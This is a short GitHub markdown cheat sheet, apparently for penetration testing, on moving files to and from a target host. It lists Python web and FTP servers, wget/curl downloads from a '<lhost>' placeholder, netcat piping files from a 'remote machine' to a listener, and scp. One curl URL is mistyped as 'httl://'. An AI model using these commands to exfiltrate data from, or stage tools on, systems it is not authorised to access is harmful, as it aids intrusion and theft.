Skip to content

Latest commit

 

History

History
26 lines (21 loc) · 368 Bytes

File_Transfer.md

File metadata and controls

26 lines (21 loc) · 368 Bytes

File Transfer

Web Server:

python2 -m SimpleHTTPServer 8000
python3 -m http.server 8000

wget http://<lhost>:8000/<file>
curl httl://<lhost>:8000/<file> -O

FTP Server:

python -m pyftpdlib -p 21 -w

Netcat

nc -nvlp <lport> > file         # local machine
nc -vn <lhost> <lport> < file   # remote machine

SCP

scp <user>@<rhost>:/path